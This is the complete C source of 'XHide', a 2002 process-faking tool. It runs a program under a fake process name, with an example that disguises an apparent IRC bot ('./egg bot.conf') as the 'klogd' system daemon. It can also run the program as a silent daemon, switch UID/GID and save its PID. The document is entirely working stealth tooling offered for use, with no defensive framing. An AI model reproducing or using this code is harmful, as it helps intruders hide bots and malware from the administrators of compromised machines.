Untitled

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <pwd.h>
#include <grp.h>
 
 
void usage(char *progname);
 
 
int changeown (char *str)
{
char user[256], *group;
struct passwd *pwd;
struct group *grp;
uid_t uid;
gid_t gid;
 
  memset(user, '\0', sizeof(user));
  strncpy(user, str, sizeof(user));
 
  for (group = user; *group; group++)
       if (*group == ':')
       {
               *group = '\0';
               group++;
               break;
       }
            
  if (pwd = getpwnam(user)) 
  {
            uid = pwd->pw_uid;
            gid = pwd->pw_gid;
  } else uid = (uid_t) atoi(user);
 
  if (*group)
            if (grp = getgrnam(group)) gid = grp->gr_gid;
            else gid = (gid_t) atoi(group);
 
  if (setgid(gid)) {
            perror("Error: Can't set GID");
            return 0;
  }
 
  if (setuid(uid))
  {
            perror("Error: Can't set UID");
            return 0;
  }
 
  return 1;
 
}
 
char *fullpath(char *cmd)
{
            char *p, *q, *filename;
            struct stat st;
 
            if (*cmd == '/')
                        return cmd;
 
            filename = (char *) malloc(256);
            if  (*cmd == '.')
                        if (getcwd(filename, 255) != NULL)
                        {
                                    strcat(filename, "/");
                                    strcat(filename, cmd);
                                    return filename;
                        }
                        else
                                    return NULL;
 
            for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q)
            {
                        if (q = (char *) strchr(q, ':'))
                                    *q = (char) '\0';
 
                        snprintf(filename, 256, "%s/%s", p, cmd);
 
                        if (stat(filename, &st) != -1
                            && S_ISREG(st.st_mode)
                            && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S_IXOTH))
                                    return filename;
 
                        if (q == NULL)
                                    break;
            }
 
            free(filename);
            return NULL;
}
 
void
usage(char *progname)
{
    fprintf(stderr, "XHide - Process Faker, by Schizoprenic "
                    "Xnuxer Research (c) 2002\n\nOptions:\n"
                    "-s string\tFake name process\n"
                    "-d\t\tRun aplication as daemon/system (optional)\n" 
                    "-u uid[:gid]\tChange UID/GID, use another user (optional)\n" 
                    "-p filename\tSave PID to filename (optional)\n\n"
                    "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname);
    exit(1);
}
 
 
int main(int argc,char **argv)
{
char c;
char fake[256];
char *progname, *fakename;
char *pidfile, *fp;
char *execst;
FILE *f;
int runsys=0, null;
int j,i,n,pidnum;
char **newargv;
 
  progname = argv[0];
  if(argc<2) usage(progname);
 
  for (i = 1; i < argc; i++)
  {
     if (argv[i][0] == '-')
            switch (c = argv[i][1])
            {
            case 's': fakename = argv[++i]; break;
        case 'u': changeown(argv[++i]); break; 
            case 'p': pidfile = argv[++i]; break;
        case 'd': runsys = 1; break;
            default:  usage(progname); break;
     }
     else break;
  }
 
  if (!(n = argc - i) || fakename == NULL) usage(progname);
 
  newargv = (char **) malloc(n * sizeof(char **) + 1);
  for (j = 0; j < n; i++,j++) newargv[j] = argv[i];
  newargv[j] = NULL;
 
  if ((fp = fullpath(newargv[0])) == NULL) { perror("Full path seek"); exit(1); }
  execst = fp;
 
  if (n > 1)
  {
            memset(fake, ' ', sizeof(fake) - 1);
            fake[sizeof(fake) - 1] = '\0';
            strncpy(fake, fakename, strlen(fakename));
            newargv[0] = fake;
  }
  else newargv[0] = fakename;
 
  if (runsys) 
  {
            if ((null = open("/dev/null", O_RDWR)) == -1)
            {
                        perror("Error: /dev/null");
                        return -1;
            }
 
            switch (fork())
            {
                        case -1:
                                    perror("Error: FORK-1");
                                    return -1;
                        case  0:
                                    setsid();
                                    switch (fork())
            {
                        case -1:
                                    perror("Error: FORK-2");
                                    return -1;
                        case  0:
                                    umask(0);
                                    close(0);
                                    close(1);
                                    close(2);
                                    dup2(null, 0);
                                    dup2(null, 1);
                                    dup2(null, 2);
                                    break;
                        default:
                                    return 0;
            }
                        break;
                        default:
                        return 0;
            }
  }
 
  waitpid(-1, (int *)0, 0);           
  pidnum = getpid();
 
  if (pidfile != NULL && (f = fopen(pidfile, "w")) != NULL)
  {
     fprintf(f, "%d\n", pidnum);
     fclose(f);
  }
 
  fprintf(stderr,"==> Fakename: %s PidNum: %d\n",fakename,pidnum); 
  execv(execst, newargv);
  perror("Couldn't execute");
  return -1;
 
}